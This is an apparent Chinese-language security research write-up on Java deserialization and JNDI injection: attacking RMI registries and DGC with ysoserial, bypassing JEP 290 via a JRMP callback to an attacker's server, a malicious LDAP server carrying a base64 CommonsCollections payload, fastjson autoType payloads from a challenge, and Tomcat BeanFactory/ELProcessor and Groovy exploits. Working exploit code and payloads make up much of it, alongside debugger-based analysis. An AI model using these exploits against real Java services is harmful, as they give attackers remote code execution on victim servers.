1.關於RMI
只啟用RMI服務時,這時候RMI客戶端能夠去打服務端,有兩種情況,第一種就是利用服務端本地的gadget,具體要看服務端pom.xml文件
比如yso中yso工具中已經集合了很多gadget chain
本地利用yso的打rmi注冊表的模塊
java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 9999 CommonsCollections1 calc.exe
此時在jdk1.7.0_21和jdk1.7.0_25以及jdk1.8.0上都可以成功,然而在http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/這篇文章中說到jdk8u121以后進行了一定的限制
jdk1.8.0_121測試如下:

這種防御機制即JEP290,在jdk8u121提出的,簡單來說就是在反序列化過程中處理ObjectInputStream加入了filter接口來進行過濾,與JDK112相比,這是jdk的開發人員在private ObjectStreamClass readNonProxyDesc(boolean unshared)函數中的1832行添加了一個filterCheck函數來進行過濾

這里我們直接在filtercheck處下斷點就能再debug就能得到所有的函數調用棧


因為是利用rmiRegistryxploit來打RMI注冊表服務,因此這里在RegistryImpl_Skel類中的dispatch方法過后就調用readObject了,接下來一直到ObjectInputStream中的調用了filterCheck,此時可以看到其入口為最外層的remote接口

在filterCheck中將會對反序列化的類的數據類型進行判斷,如果不是基礎類型以及數組那么將對要反序列化的類進行白名單校驗,其中method接口和proxy類都是在白名單里的,因為ysoserial構造的payload用到了動態代理,因此這里class sun.reflect.annotation.AnnotationInvocationHandler肯定不符合這里的過濾規則,因此這里過濾器將返回rejected報異常了。這里過濾將根據不同情況返回UNDECIDED,ALLOWED,REJECTED三種,其中白名單要匹配以下這些類
java.lang.reflect.Proxy
java.rmi.server.UnicastRef
java.rmi.activation.ActivationId
java.rmi.server.UID
java.rmi.server.RMIClientSocketFactory
and java.rmi.server.RMIServerSocketFactory

此時客戶端報錯也可以看出被payload被過濾了,當然着JEP提供的這種過濾方式也支持我們自己配置,通過設置jdk.serialFilter或者直接在conf/security/java.properties中進行配置,具體的配置規則在http://openjdk.java.net/jeps/290 。 除了直接利用RMIregistryExploit,另外一種就是通過RMI listener的DGC機制來打RMI,我們知道只有當一個遠程對象不受到任何本地引用和遠程引用,這個遠程對象才會結束生命周期。那么通過RMI注冊表拿到遠程對象的引用以后,肯定要與rmi服務端保持聯系,以便於讓服務端明白此時客戶端已經收到遠程對象的引用,並且要發心跳包給服務端(通知服務端客戶端一直持有遠程對象的引用)。所以DGC機制的通信過程和registryImpl沒關系了,從下圖的函數調用棧也可以看到DGCImpl_Skel后開始調用readObject了

打rmi registry的時候調用的實際上是registryImpl的checkinput,打DGC的時候調用的是DGCImpl的checkinput,上面的分析也已經知道jep290導致直接打rmi注冊表的失敗的原因是AnnotationInvocationHandler不在jdk允許反序列化的類白名單里,這個白名單就是jdk提供的一種內置過濾器,不需要開發人員做任何配置,那么jep290對DGC也提供了一些內置過濾器的白名單主要的類有,那白名單肯定也過不去了
java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease
那么這種方式傳輸的序列化數據到服務端反序列化在jdk版本上也有限制,jdk8u112可以,jdk8u121也不行了,但是yso里面還有一種攻擊方式,就是利用rmi注冊表內置白名單里的unicastRef類,即利用UnicastRef類的對象,其可以進行反序列化,通過其使受害者服務器回連我們的vps上監聽的JRMPListener,從而利用受害者本地的gadget完成rce,因此這種方法優先性上yso中JRMPClient性能由於RMIRegistryExploit,這里借用bsmali4師傅的一張圖,攻擊流程如下圖所示

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'
java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer
2.關於JNDI
RMI動態類加載(指定遠程codebase)主要相關屬性:java.rmi.server.useCodebaseOnly=false,到jdk7u21時就不能成功了
利用客戶端指定javacodebase來加載遠程class文件,這種需要有useCodebaseOnly的限制和securityManager的限制
JNDI+RMI加載相關屬性:com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase,不加打到8u112,112的后一個版本jdk121即不可成功
即使設置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true")為true后可以打到jdk8u181,191也不行了
JNDI+LDAP相關屬性:com.sun.jndi.ldap.object.trustURLCodebase
ldap高版本的也做了一定的限制,利用JNDI+LDAP可以一直到jdk8u181,到191以后ldap就不能成功了。

jdk>1.8.0_181高版本對JVM對通過Reference來加載遠程工廠類也通過trustURLcodebase為false做了限制,但是如果受害者本地的有存在漏洞gadget那么也能打。這里參考雨了個雨師傅的ldapserver,我們只需要更改其中的javaSerializedata屬性即可
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.FileNotFoundException; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] agv) { int port = 1389; String args[] = {"http://localhost:8000/#Exploit"}; if ((args.length < 1) || (args[0].indexOf('#') < 0)) { System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); System.exit(-1); } else if (args.length > 1) { port = Integer.parseInt(args[1]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" }); config.setListenerConfigs( new InMemoryListenerConfig[] { new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault()) } ); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; } public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, FileNotFoundException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } // e.addAttribute("javaCodeBase", cbstring); // e.addAttribute("objectClass", "javaNamingReference"); // e.addAttribute("javaFactory", this.codebase.getRef()); //jjj.toString() //gadget 內容放到 javaSerializeData中 try { e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofa" + "q2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlv" + "btD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAV" + "TGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5n" + "O1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVz" + "c2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5T" + "dGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFj" + "ZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAI" + "ZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fk" + "cy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2Jq" + "ZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJh" + "dGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xs" + "ZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51" + "dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZM" + "amF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwAB" + "SQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rp" + "b25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9M" + "amF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu" + "bWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2Nv" + "bGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9u" + "cy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0" + "AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9y" + "Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAA" + "BXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFu" + "c2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGlt" + "ZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3Jz" + "Lkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmpl" + "Y3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7" + "eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVy" + "ABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAA" + "AAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAAC" + "cHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAA" + "AAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAA" + "AXQACGNhbGMuZXhldAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50" + "ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAA" + "AAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNo" + "b2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==")); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (ParseException ex) { ex.printStackTrace(); } } } }
客戶端只要對服務端進行查詢即可
import javax.naming.Context;
import javax.naming.InitialContext; import javax.naming.NamingException; import com.alibaba.fastjson.JSON; public class LDAPClient1 { public static void main(String[] args) throws NamingException { Context ctx = new InitialContext(); Object object = ctx.lookup("ldap://127.0.0.1:1389/Exploit"); } }
高版本的java對gadget可能有限制,因此要選用合適的gadget進行測試

下斷點分析一下:

在com/sun/jndi/ldap/LdapCtx.class中,此時調用類obj的decodeObject函數來對javaSerializeData中的數據進行反序列化

然后在decodeObject函數中將對序列化存儲的字符數據還原為對象

這里首先通過BasicAttribute拿到序列化數據的數組,然后在deserializeObject函數中還原為Object后再通過var20調用readObject()函數觸發利用鏈

然后在deserializeObject函數中對var20調用readObject()函數觸發利用鏈,此時用的CommenCollections6,打3.1
3.空指針的兩道利用
在空指針那個題目中1.2.61的fastjson開了autoType的,有兩種利用方法:
第一種:
{"@type":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"127.0.0.1",port:"1099","name":"tr1ple"}

這里明顯存在RMI的利用,getObject函數的lookup函數,並且因此可以通過起一個JRMPlistener即可

其中這里host和port和name都可控

測試結果:

第二種:
利用SessionBeanProvider這個類
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider", "jndiName":"ldap://127.0.0.1:1389/tr1ple","Object":"tr1ple2333"}
其getObject函數中明顯存在jndi注入,不過本地測試需要自己起一個tomcat

其中payload要打兩次,因為第一次需要將payload放進mappings,第二次在檢測黑名單之前就能夠在mapping中找到該類從而返回claaz

因為開了autotype,所以cacheclass為true,因此在parseConfig的1039行中調用了TypeUtils.loadClass將把SessionBeanProvider放到mappings中

第二次打的時候就可以從mappings中取到了



4.利用本地工廠類
tomcat8 : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because javax.el.ELProcessor.
payload.java
package payloads;
import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.el.ELProcessor; import org.apache.naming.factory.BeanFactory; public class rmi { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1099"); Registry registry = LocateRegistry.createRegistry(1099); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
利用要求是資源類要存在一個無參的構造函數,因為

並且這個類能夠執行命令,並且執行命令的函數必須只有一個參數
目前網上找到有兩種利用方法:
第一種利用:
org.apache.naming.factory.BeanFactory + javax.el.ELProcessor
聲明一個x=eval ,將把EL類的eval方法放進hashmap


然后判斷addtype的屬性是否為那幾個,不為則取出其內容,然后從hashmap里面取出這個屬性的方法

然后再反射調用執行命令
第二種利用:
org.apache.naming.factory.BeanFactory + groovy.lang.GroovyClassLoader

其存在parseClass(java.lang.String)
java 命令執行:
package payloads;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.StringRefAddr; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class rmi2 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { System.out.println("Creating evil RMI registry on port 1099"); Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper);
el + script engine執行命令:
windows:
1.new ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc.exe']).start();\")");
2.new ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")");
參考:
java高版本打rmi注冊表
4.https://xz.aliyun.com/t/2650#toc-1
5.https://www.veracode.com/blog/research/exploiting-jndi-injections-java
6.https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
8.https://www.cnblogs.com/Welk1n/p/11066397.html tomcat
9.https://www.freebuf.com/vuls/126499.html
10.https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html 講rmi的
